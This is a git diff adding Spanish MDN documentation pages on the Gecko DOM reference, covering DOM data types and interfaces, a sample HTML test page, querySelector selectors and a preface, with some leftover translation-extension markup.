+<p>Esta parte intenta describir, de la manera más simple posible, los diferentes objetos y tipos. Pero hay que conocer una cantidad de tipos de datos diferentes que son utilizados por el API. Para simplificarlo, los ejemplos de sintaxis en esta API se refieren a nodos como <code>elements</code>, a una lista de nodos como <code>nodeLists</code> (o simples <code>elementos</code>) y a nodos de <code>atributo</code> como <code>attributes</code>.</p>
+
+<p>La siguiente tabla describe brevemente estos tipos de datos.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td><code>document</code></td>
+   <td>Cuando un miembro devuelve un objeto del tipo <code>document</code> (por ejemplo, la propiedad <strong>ownerDocument</strong> de un elemento devuelve el documento "<code>document</code>" al cual pertenece), este objeto es la raíz del objeto documento en sí mismo. El capítulo <a href="es/DOM/documento">La referencia al documento (<code>document</code>) de DOM</a> lo explica con más detalles.</td>
+  </tr>
+  <tr>
+   <td><code>element</code></td>
+   <td><code>element</code> se refiere a un elemento o a un nodo de tipo de elemento "<code>element</code>" devuelto por un miembro del API de DOM. Dicho de otra manera, por ejemplo, el método <code>document.createElement()</code> devuelve un objeto referido a un <code>nodo</code>, lo que significa que este método devuelve el elemento que acaba de ser creado en el DOM. Los objetos <code>element</code> ponen en funcionamiento a la interfaz <code>Element</code> del DOM y también a la interfaz de nodo "<code>Node</code>" más básica, las cuales son incluidas en esta referencia.</td>
+  </tr>
+  <tr>
+   <td><code>nodeList</code></td>
+   <td>Una "<code>nodeList</code>" es una serie de elementos, parecido a lo que devuelve el método <code>document.getElementsByTagName()</code>. Se accede a los items de la <code>nodeList</code> de cualquiera de las siguientes dos formas:
+    <ul>
+     <li><font><font><font><font>list.item (1)</font></font></font></font></li>
+     <li><font><font>lista {{mediawiki.external (1)}}</font></font></li>
+    </ul>
+
+    <p>Ambas maneras son equivalentes. En la primera, <strong>item()</strong> es el método del objeto <code>nodeList</code>. En la última se utiliza la típica sintaxis de acceso a listas para llegar al segundo ítem de la lista.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attribute</code></td>
+   <td>Cuando un atributo ("<code>attribute</code>") es devuelto por un miembro (por ej., por el método <strong>createAttribute()</strong>), es una referencia a un objeto que expone una interfaz particular (aunque limitada) a los atributos. Los atributos son nodos en el DOM igual que los elementos, pero no suelen usarse así.</td>
+  </tr>
+  <tr>
+   <td><code>NamedNodeMap</code></td>
+   <td>Un <code>namedNodeMap</code> es una serie, pero los ítems son accesibles tanto por el nombre o por un índice, este último caso es meramente una conveniencia para enumerar ya que no están en ningún orden en particular en la lista. Un <code>NamedNodeMap</code> es un método de ítem() por esa razón, y permite poner o quitar ítems en un <code>NamedNodeMap</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Interfaces_del_DOM" name="Interfaces_del_DOM">Interfaces del DOM</h2>
+
+<p>Uno de los propósitos de esta guía es minimizar el hablar de interfaces abstractas, heredadas y otros detalles de funcionamiento. Más bien, concentrarse sobre los objetos en el DOM y sobre las actuales <em>cosas</em> que se pueden usar para manipular la jerarquía de DOM. Desde el punto de vista del programador web, es bastante indiferente saber que la representación del objeto del elemento <code>HTML form</code> toma la propidedad <strong>name</strong> desde la interfaz <code>HTMLFormElement</code> pero que las propiedades <code><strong>className</strong> </code>se toman desde la propia interfaz <code>HTMLElement</code>. En ambos casos, la propiedad está sólo en el objeto <code>form</code>.</p>
+
+<p>Pero puede resultar confuso el funcionamiento de la fuerte relación entre objetos e interfaces en el DOM, por eso esta sección intentará hablar un poquito sobre las interfaces actuales en la especificación del DOM y de como se dispone de ellas.</p>
+
+<h2 id="Interfaces_y_objetos" name="Interfaces_y_objetos">Interfaces y objetos</h2>
+
+<p>En algunos casos un objeto pone en ejecución a una sola interfaz. Pero a menudo un objeto toma prestada una tabla HTML (<code>table</code>) desde muchas interfaces diversas. El objeto table, por ejemplo, pone en funcionamiento una <a href="es/DOM/tabla">Interfaz especial del elemento table HTML</a>, la cual incluye métodos como <code>createCaption</code> y <code>insertRow</code>. Pero como también es un elemento HTML, table pone en marcha a la interfaz del <code>Element</code> descrita en el capítulo <a href="es/Referencia_DOM_de_Gecko/elemento">La referencia al elemento del DOM</a>. Y finalmente, puesto que un elemento HTML es también, por lo que concierna al DOM, un nodo en el árbol de nodos que hace el modelo de objeto para una página web o XML, el elemento de table hace funcionar la interfaz más básica de <code>Node</code>, desde el cual deriva <code>Element</code>.</p>
+
+<p>La referencia a un objeto <code>table</code>, como en el ejemplo siguiente, utiliza estas interfaces intercambiables sobre el objeto.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> table <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"table"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> tableAttrs <span class="operator token">=</span> table<span class="punctuation token">.</span>attributes<span class="punctuation token">;</span> <span class="comment token">// Node/interfaz Element</span>
+<span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> tableAttrs<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// interfaz HTMLTableElement: atributo border</span>
+  <span class="keyword token">if</span><span class="punctuation token">(</span>tableAttrs<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>nodeName<span class="punctuation token">.</span><span class="function token">toLowerCase</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">==</span> <span class="string token">"border"</span><span class="punctuation token">)</span>
+    table<span class="punctuation token">.</span>border <span class="operator token">=</span> <span class="string token">"1"</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="comment token">// interfaz HTMLTableElement: atributo summary</span>
+table<span class="punctuation token">.</span>summary <span class="operator token">=</span> <span class="string token">"nota: borde aumentado"</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Interfaces_esenciales_en_el_DOM" name="Interfaces_esenciales_en_el_DOM">Interfaces esenciales en el DOM</h2>
+
+<p>Esta sección lista las interfaces más comúnmente utilizadas en el DOM. La idea no es describir qué hacen estas APIs pero sí dar una idea de las clases de métodos y propiedades que se encuentran con el uso del DOM. Muchos ejemplos de uso común de esta API se encuentran en el capítulo <a href="es/Referencia_DOM_de_Gecko/Ejemplos">Ejemplos DOM</a> al final de este manual.</p>
+
+<p><code>document</code> y <code>window</code> son objetos cuya interfaces son generalmente muy usadas en la programación de DOM. En término simple, el objeto <code>window</code> representa algo como podría ser el navegador, y el objeto <code>document</code> es la raíz del documento en sí. <code>Element</code> hereda de la interfaz genérica <code>Node</code>, y juntos, estas dos interfaces proporcionan muchos métodos y propiedades utilizables sobre los elementos individuales. Éstos elementos pueden igualmente tener interfaces específicas según el tipo de datos representados, como en el ejemplo anterior del objeto <code>table</code>. Lo siguiente es una breve lista de los APIS comunes en la web y en las páginas escritas en XML utilizando el DOM.</p>
+
+<ul>
+ <li><code><a href="es/DOM/document.getElementById">document.getElementById</a>(id)</code></li>
+ <li><code>element.<a href="es/DOM/element.getElementsByTagName">getElementsByTagName</a>(name)</code></li>
+ <li><code><a href="es/DOM/document.createElement">document.createElement</a>(name)</code></li>
+ <li><code>parentNode.<a href="es/DOM/element.appendChild">appendChild</a>(node)</code></li>
+ <li><code>element.<a href="es/DOM/element.innerHTML">innerHTML</a></code></li>
+ <li><code>element.<a href="es/DOM/element.style">style</a>.left</code></li>
+ <li><code>element.<a href="es/DOM/element.setAttribute">setAttribute</a></code></li>
+ <li><code>element.<a href="es/DOM/element.getAttribute">element.getAttribute</a></code></li>
+ <li><code>element.<a href="es/DOM/element.addEventListener">addEventListener</a></code></li>
+ <li><code><a href="es/DOM/window.content">window.content</a></code></li>
+ <li><code><a href="es/DOM/window.onload">window.onload</a></code></li>
+ <li><code><a href="es/DOM/window.dump">window.dump</a></code></li>
+ <li><code><a href="es/DOM/window.scrollTo">window.scrollTo</a></code></li>
+</ul>
+
+<h2 id="Probando_el_API_del_DOM" name="Probando_el_API_del_DOM">Probando el API del DOM</h2>
+
+<p>Ésta parte procura ejemplos para todas las interfaces usadas en el desarrollo web. En algunos casos, los ejemplos son páginas HTML enteras, con el acceso del DOM a un elemento de &lt;script&gt;, la interfaz necesaria (por ejemplo, botones) para la ejecución del script en un formulario, y también que los elementos HTML sobre los cuales opera el DOM se listen. Según el caso, los ejemplos se pueden copiar y pegar en un documento web para probarlos.</p>
+
+<p>No es el caso donde los ejemplos son muchos más concisos. Para la ejecución de estos ejemplos que sólo demuestran la relación básica entre la interfaz y los elementos HTML, resulta útil tener una página de prueba en la cual las interfaces serán fácilmente accesibles por los scripts. La muy simple página siguiente proporciona en las cabeceras un elemento de script en el cual se pondrán las funciones para testar la interfaz elegida, algunos elementos HTML con atributos que se puedan leer, editar y también manipular, así como la interfaz web necesaria para llamar esas funciones desde el navegador.</p>
+
+<p>Para probar y ver como trabajan en la plataforma del navegador las interfaces del DOM, esta página de prueba o una nueva similar son factibles. El contenido de la función <code>test()</code> se puede actualizar según la necesidad, para crear más botones o poner más elementos.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Pruebas DOM<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>application/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+    <span class="keyword token">function</span> <span class="function token">setBodyAttr</span><span class="punctuation token">(</span>attr<span class="punctuation token">,</span> value<span class="punctuation token">)</span><span class="punctuation token">{</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span>document<span class="punctuation token">.</span>body<span class="punctuation token">)</span> <span class="function token">eval</span><span class="punctuation token">(</span><span class="string token">'document.body.'</span><span class="operator token">+</span>attr<span class="operator token">+</span><span class="string token">'="'</span><span class="operator token">+</span>value<span class="operator token">+</span><span class="string token">'"'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">else</span> <span class="function token">notSupported</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    </span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">.5</span>in<span class="punctuation token">;</span> <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">400</span><span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>b</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tt</span><span class="punctuation token">&gt;</span></span>texto<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tt</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>b</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>select</span> <span class="attr-name token">onChange</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>setBodyAttr(<span class="punctuation token">'</span>text<span class="punctuation token">'</span>,
+        this.options[this.selectedIndex].value);<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>black<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>negro
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>darkblue<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>azul oscuro
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>select</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>b</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tt</span><span class="punctuation token">&gt;</span></span>bgColor<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tt</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>b</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>select</span> <span class="attr-name token">onChange</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>setBodyAttr(<span class="punctuation token">'</span>bgColor<span class="punctuation token">'</span>,
+        this.options[this.selectedIndex].value);<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>white<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>blanco
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>lightgrey<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>gris
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>select</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>b</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tt</span><span class="punctuation token">&gt;</span></span>link<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tt</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>b</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>select</span> <span class="attr-name token">onChange</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>setBodyAttr(<span class="punctuation token">'</span>link<span class="punctuation token">'</span>,
+        this.options[this.selectedIndex].value);<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>blue<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>azul
+          <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>option</span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>green<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>verde
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>select</span><span class="punctuation token">&gt;</span></span>  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>small</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>a</span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.brownhen.com/dom_api_top.html<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>sample<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+        (sample link)<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>a</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>small</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>version<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>ver()<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>La creación de una página de prueba con una paleta de botones, campos de texto u otros elementos HTML, permitirá testar una gran cantidad de interfaces en un mismo documento, por ejemplo una serie de propiedades que afectan a los colores de una página web. Lo siguiente permite hacerse una idea de como pueden agruparse las interfaces para probarlas.</p>
+
+<p><font><font>Figura 0.1 Muestra DOM página de prueba</font></font></p>
+
+<p><img alt="" src="https://developer.mozilla.org/@api/deki/files/173/=DOM_Ref_Introduction_to_the_DOM.gif" style="height: 375px; width: 199px;"></p>
+
+<p>En este ejemplo, los menúes desplegables actualizan dinámicamente los aspectos de la página web accesibles al DOM como el color de fondo (<code>bgColor</code>), de los hiper-enlaces (<code>aLink</code>), y el del texto (<code>text</code>). El hecho de diseñar páginas, testar las interfaces que se encuentren a lo largo de la lectura son una parte importante del aprendizaje para una utilización eficaz del DOM.</p>
+
+<h2 id="Otros_enlaces"><strong>Otros enlaces</strong></h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model"><font><font>Referencia DOM</font></font></a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction"><font><font>Introducción al DOM</font></font></a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Events"><font><font>Eventos y el DOM</font></font></a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Examples"><font><font>Ejemplos</font></font></a></li>
+</ul>
+
+<div class="s3gt_translate_tooltip_mini_box" id="s3gt_translate_tooltip_mini" style="background: initial !important; border: initial !important; border-radius: initial !important; border-collapse: initial !important; direction: ltr !important; font-weight: initial !important; height: initial !important; letter-spacing: initial !important; max-width: initial !important; min-height: initial !important; margin: auto !important; outline: initial !important; padding: initial !important; position: absolute; text-align: initial !important; text-shadow: initial !important; width: initial !important; display: initial !important; color: inherit !important; font-size: 13px !important; font-family: X-LocaleSpecific,sans-serif,Tahoma,Helvetica !important; line-height: 13px !important; vertical-align: top !important; white-space: inherit !important; left: 10px; top: 35px; opacity: 0.85;">
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_logo" title="Traducir texto seleccionado"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_sound" title="Reproducir"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_copy" title="Copy text to Clipboard"> </div>
+</div>
+
+<div class="s3gt_translate_tooltip_mini_box" id="s3gt_translate_tooltip_mini" style="background: initial !important; border: initial !important; border-radius: initial !important; border-collapse: initial !important; direction: ltr !important; font-weight: initial !important; height: initial !important; letter-spacing: initial !important; max-width: initial !important; min-height: initial !important; margin: auto !important; outline: initial !important; padding: initial !important; position: absolute; text-align: initial !important; text-shadow: initial !important; width: initial !important; display: initial !important; color: inherit !important; font-size: 13px !important; font-family: X-LocaleSpecific,sans-serif,Tahoma,Helvetica !important; line-height: 13px !important; vertical-align: top !important; white-space: inherit !important; left: 39px; top: 1952px; opacity: 0.45;">
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_logo" title="Traducir texto seleccionado"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_sound" title="Escuchar"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_copy" title="Copiar texto al Portapapeles"> </div>
+</div>
+
+<div class="s3gt_translate_tooltip_mini_box" id="s3gt_translate_tooltip_mini" style="background: initial !important; border: initial !important; border-radius: initial !important; border-collapse: initial !important; direction: ltr !important; font-weight: initial !important; height: initial !important; letter-spacing: initial !important; max-width: initial !important; min-height: initial !important; margin: auto !important; outline: initial !important; padding: initial !important; position: absolute; text-align: initial !important; text-shadow: initial !important; width: initial !important; display: initial !important; color: inherit !important; font-size: 13px !important; font-family: X-LocaleSpecific,sans-serif,Tahoma,Helvetica !important; line-height: 13px !important; vertical-align: top !important; white-space: inherit !important; left: 307px; top: 1961px; opacity: 0;">
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_logo" title="Traducir texto seleccionado"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_sound" title="Escuchar"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_copy" title="Copiar texto al Portapapeles"> </div>
+</div>
diff --git a/files/es/referencia_dom_de_gecko/localizando_elementos_dom_usando_selectores/index.html b/files/es/referencia_dom_de_gecko/localizando_elementos_dom_usando_selectores/index.html
new file mode 100644
index 0000000000..cf8a94cd4a
--- /dev/null
+++ b/files/es/referencia_dom_de_gecko/localizando_elementos_dom_usando_selectores/index.html
@@ -0,0 +1,50 @@
+---
+title: Localizando elementos DOM usando selectores
+slug: Referencia_DOM_de_Gecko/Localizando_elementos_DOM_usando_selectores
+tags:
+  - DOM
+  - Necesita actualizacion para principiantes
+  - Principiante
+translation_of: Web/API/Document_object_model/Locating_DOM_elements_using_selectors
+---
+<p>Los selectores api proveen metodos que hacen mas facil y rapido devolver elementos del nodo {{domxref("Element")}} del DOM mediante emparejamiento de un conjunto de selectores. Esto es mucho mas rapido que las tecnicas anteriores, donde fuera necesario, por ejemplo usar un loop en un codigo JavaScript para localizar el item especifico que quisieras encontrar.</p>
+
+<h2 id="Interfaz_de_NodeSelector">Interfaz de NodeSelector</h2>
+
+<p>Esta especificación añade dos nuevos metodos a cualquier objeto implementando el {{domxref("Document")}}, {{domxref("DocumentFragment")}}, o {{domxref("Element")}} interfaces:</p>
+
+<dl>
+ <dt>{{domxref("Element.querySelector", "querySelector()")}}</dt>
+ <dd>Devuelve la primera coincidencia del (elemento) {{domxref("Element")}} nodo dentro de las subramas del nodo. Sino se encuentra un nodo coincidente, se devuelve <code>null</code> .</dd>
+ <dt>{{domxref("Element.querySelectorAll", "querySelectorAll()")}}</dt>
+ <dd>devuelve un listado de nodos {{domxref("NodeList")}} conteniendo todos los elementos del nodo coincidentes( <code>Element</code>) dentro de las subramas del nodo, o Devuelve un Listado de Nodos vacio <code>NodeList</code> sino se encuentran coincidencias.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> El {{domxref("NodeList")}} devuelto por {{domxref("Element.querySelectorAll()", "querySelectorAll()")}} no es dinamico, Es decir que cualquier cambio realizado en el DOM no se vera reflejado en la coleccion. Esto es diferente de otros metodos de querying del dom que si devuelven listados de nodos dinamicos.</div>
+
+<p>Encontraras ejemplos y detalles leyendo el documento de metodos {{domxref("Element.querySelector()")}} y {{domxref("Element.querySelectorAll()")}}, Tambien en el articulo <a class="internal" href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Code snippets for querySelector</a>.</p>
+
+<h2 id="Selectors">Selectors</h2>
+
+<p>El metodo de selectores acepta uno o mas selectores seperados por comas entre cada selector  para determinar que elemento o elementos deben ser devueltos. por ejemplo para seleccionar todos los elementos (p) del parrafo en un documento donde la clase CSS sea tanto <code>warning</code> or <code>note</code>, podes hacer lo siguiente:</p>
+
+<pre class="notranslate"><code>var special = document.querySelectorAll( "p.warning, p.note" );</code></pre>
+
+<p>tambien por usar query para etiquetas id. Por ejemplo:</p>
+
+<pre class="notranslate"><code>var el = document.querySelector( "#main, #basic, #exclamation" );</code></pre>
+
+<p>luego de ejecutar el codigo de arriba, la variable <code>el</code> contiene el primer elemento del documento, su ID puede ser uno de los siguentes  <code>main</code>, <code>basic</code>, or <code>exclamation</code>.</p>
+
+<p>Podes usar cualquier selector CSS con los metodos <code>querySelector()</code> y <code>querySelectorAll()</code><em>.</em></p>
+
+<h2 id="Ver_tambien.">Ver tambien.</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/selectors-api/" title="http://www.w3.org/TR/selectors-api/">Selectors API</a></li>
+ <li>{{domxref("Element.querySelector()")}}</li>
+ <li>{{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}}</li>
+ <li>{{domxref("Document.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code_snippets/QuerySelector">Code snippets for querySelector</a></li>
+</ul>
diff --git a/files/es/referencia_dom_de_gecko/prefacio/index.html b/files/es/referencia_dom_de_gecko/prefacio/index.html
new file mode 100644
index 0000000000..9295f66869
--- /dev/null
+++ b/files/es/referencia_dom_de_gecko/prefacio/index.html
@@ -0,0 +1,75 @@
+---
+title: Prefacio
+slug: Referencia_DOM_de_Gecko/Prefacio
+tags:
+  - DOM
+  - Todas_las_Categorías
+translation_of: Web/API/Document_Object_Model
+---
+<p>« <a href="es/Referencia_DOM_de_Gecko">Referencia DOM de Gecko</a></p>
+
+<h3 id="Sobre_Esta_referencia" name="Sobre_Esta_referencia">Sobre Esta referencia</h3>
+
+<p>Esta parte describe el manual en sí: para quién está hecho, cómo se presenta la información y cómo se pueden usar los ejemplos de la referencia en el desarrollo propio de DOM.</p>
+
+<p>Notará que este documento está en curso de desarrollo y aún no es un listado completo de todos los métodos y propiedades DOM que funcionan para GECKO. Sin embargo, cada parte individual de esta guía (por ejemplo, <a href="es/DOM/document">La referencia al documento de DOM</a>) sí está completa para el/los objeto/s que describe. Cuando nuevas informaciones de referencia para los numerosos miembros de esta enorme API estén disponibles, se irán integrando dentro de este documento.</p>
+
+<h3 id="A_qui.C3.A9n_va_dirigida_esta_gu.C3.ADa.3F" name="A_qui.C3.A9n_va_dirigida_esta_gu.C3.ADa.3F">A quién va dirigida esta guía?</h3>
+
+<p>El lector de <a href="es/Referencia_DOM_de_Gecko">Referencia DOM de Gecko</a> puede ser un desarrollador Web o un usuario sabio que tiene alguna idea de como se construyen las páginas Web. Esta referencia evita tener presunciones sobre el nivel de conocimiento del lector con el DOM, el <a href="es/XML">XML</a>, los servidores o estándares Web y también con <a href="es/JavaScript">JavaScript</a>, el lenguaje en el cual el DOM se hace accesible al lector. Al contrario, sí, supone de la familiaridad con <a href="es/HTML">HTML</a>, el marcado, la estructura básica de las páginas Web, los navegadores y con las hojas de estilo.</p>
+
+<p>El material introductorio presentado aquí, con sus varios ejemplos y sus explicaciones de alto nivel, debe ser valorado tanto para los desarrolladores inexpertos como para los experimentados, no es sólo una guía de desarrollo Web para <em>principiantes</em>. En general y sin embargo se le puede considerar como un manual evolutivo del API.</p>
+
+<h3 id="Qu.C3.A9_es_Gecko.3F" name="Qu.C3.A9_es_Gecko.3F">Qué es Gecko?</h3>
+
+<p>Mozilla, Firefox, Netscape 6+, y otros navegadores basados en Mozilla tienen la idéntica codificación DOM. Es así porque utilizan la misma tecnología. <span class="comment">naturalmente, es sólo aplicable a los productos basados en la misma versión de Gecko, pero es complicado explicarlo - (naturally, it applies only to products based on the same version of Gecko, but it's tricky to explain)</span></p>
+
